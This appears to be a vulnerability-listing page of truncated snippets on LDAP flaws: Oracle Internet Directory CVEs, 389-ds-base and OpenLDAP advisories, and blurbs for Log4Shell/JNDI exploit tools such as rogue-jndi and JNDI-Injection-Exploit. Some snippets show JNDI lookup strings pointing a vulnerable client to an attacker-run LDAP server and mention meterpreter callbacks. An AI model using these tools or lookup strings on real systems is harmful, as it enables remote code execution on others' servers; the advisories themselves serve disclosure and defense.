CVE-2026-83056

CVE-2026-83056 affects the OID LDAP Server component of Oracle Internet Directory (Oracle Fusion Middleware), specifically versions 12.2.1.4.0 and 14.1.2.1.0 . The vulnerability allows a low-privileged attacker with network access via LDAP to compromise the server. Due to a scope change , success...

CVE-2026-83058

CVE-2026-83058 is a critical vulnerability (CVSS 3.1: 9.9) in the OID LDAP Server component of Oracle Internet Directory (Oracle Fusion Middleware), affecting versions 12.2.1.4.0 and 14.1.2.1.0 . A low-privileged attacker with network access via LDAP can exploit this with low complexity and no us...

CVE-2026-83054

CVE-2026-83054 affects the OID LDAP Server component of Oracle Internet Directory (Oracle Fusion Middleware), specifically supported versions 12.2.1.4.0 and 14.1.2.1.0 . The vulnerability is easily exploitable by an unauthenticated attacker with network access via LDAP , allowing full takeover of...

EUVD-2026-79383

Vulnerability in the Oracle Internet Directory product of Oracle Fusion Middleware component: OID LDAP Server. Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via LDAP to compromise Oracle...

CVE-2026-83055

Oracle Internet Directory (component: OID LDAP Server ) in Oracle Fusion Middleware is affected in versions 12.2.1.4.0 and 14.1.2.1.0 . A low-privileged attacker with network access via LDAP can exploit this vulnerability to achieve full takeover of the directory service. The scope change indicat...

EUVD-2026-79382

Vulnerability in the Oracle Internet Directory product of Oracle Fusion Middleware component: OID LDAP Server. Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via LDAP to compromise Oracle...

JNDI-Injection-Exploit

JNDI-Injection-Exploit Materials about JNDI Injection 中文文档 相关文章 Description JNDI-Injection-Exploit is a tool for generating workable JNDI links and provide background services by starting RMI server,LDAP server and HTTP server. RMI server and LDAP server are based on marshals and modified further...

log4shell-homework9

Homework 9 – Securing Systems Against Log4Shell Exploits Overview This project demonstrates the exploitation and mitigation of the Log4Shell vulnerability CVE-2021-44228 using a Dockerized Java web application with vulnerable Log4j 2.14.1. The setup also includes a simulated malicious LDAP server...

JNDI-Injection-Exploit-Plus

JNDI-Injection-Exploit-Plus 中文 README Description JNDI-Injection-Exploit-Plus is a tool for generating workable JNDI links and provide background services by starting RMI server,LDAP server and HTTP server. Using this tool allows you get JNDI links, you can insert these links into your POC to tes...

Odysseus

Odysseus A demo of the Log4Shell CVE-2021-44228 vulnerability. Build Instructions The vulnerable webserver and malicious LDAP server were both built and tested on JDK 1.8.0181. Good Guys Web Server 1. Inside goodguys, run gradlew bootJar 2. Run vulnerable webserver using java -jar...

Astra Linux – Vulnerability in OpenLDAP

A flaw was discovered in OpenLDAP before version 2.4.57, which led to a crash in the slapd process during control handling of the Values Return Filter. This caused a denial of service attack, involving double-free operations and out-of-bounds reads...

docker-log4shell

docker-log4shell Simple Go app / Docker image for playing with the CVE-2021-44228 vulnerability. Hosts a simple file server and an ldap server that provides any classes hosted in the file server: ldap://ip:1389/Hello - http://ip:8080/Hello.class root@kitploit: docker build -t log4shell . docker r...

l4srs

l4srs Rust implementation of the Log 4 Shell log 4 j - CVE-2021-44228 to build run cargo +nightly build This version will let you build command classes, dynamically serve a mini meterpreter that runs in a thread of the exploited Java app, and runs the LDAP and HTTP servers. This version servers...

l4s_poc

l4spoc Log4Shell Cve-2021-44228 Proof Of Concept This is a personal project that runs a simple POC that will host an LDAP server and an HTTP server for the Log4Shell exploit. Server The runservers.py will setup a stripped down meterpreter client that will call back to the Metasploit instance pass...

ldap-swak

LDAP Swiss Army Knife Multi-function LDAP server utility. Quickly setup LDAP server for testing purposes, MitM proxies for intercepting plaintext or forwarding NTLM credentials or exploit various Java JNDI/LDAP Client vulnerabilities. Author: Moritz Bechler [email protected] Project...

rogue-jndi

Rogue JNDI 一个用于 JNDI 注入攻击的恶意 LDAP 服务器。 描述 该项目包含用于利用不安全的默认 Java JNDI API 的 LDAP 和 HTTP 服务器。 为了执行攻击，你可以在本地启动这些服务器，然后在存在漏洞的客户端上触发 JNDI 解析，例如： root@kitploit: InitialContext.doLookup"ldap://yourserver.com:1389/o=reference"; 这将从存在漏洞的客户端发起一个到本地 LDAP 服务器的连接。然后，本地服务器会响应一个包含其中一个 payload 的恶意条目，该条目可用于实现远程代码执...

RLSA-2026:64784 Critical: 389-ds-base security, bug fix, and enhancement update

389 Directory Server is an LDAP version 3 LDAPv3 compliant server. The base packages include the Lightweight Directory Access Protocol LDAP server and command-line utilities for server administration. Security Fixes: 389-ds-base: 389-ds-base: heap buffer overflow via SASL wrapped-record length...

389-ds-base: 389-ds-base: pre-authentication NULL pointer dereference via paged results and USE_ONE_BACKEND control in op_shared_search

A flaw was found in 389 Directory Server. A missing NULL pointer check in the paged results handling of opsharedsearch allows an unauthenticated remote attacker to crash the LDAP server by sending a crafted sequence of search requests using the USEONEBACKEND control, resulting in denial of servic...

UnboundID LDAP Server Administrative Credential Exposure

Spring Security is vulnerable to an UnboundID LDAP Server Administrative Credential Exposure. The vulnerability is due to the embedded UnboundID LDAP server UnboundIdContainer unconditionally registering an administrative credential and binding its listener to all available network interfaces,...

Critical: Red Hat Security Advisory: 389-ds-base security, bug fix, and enhancement update

An update for 389-ds-base is now available for Red Hat Enterprise Linux 9.2 Update Services for SAP Solutions. Red Hat Product Security has rated this update as having a security impact of Critical. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is...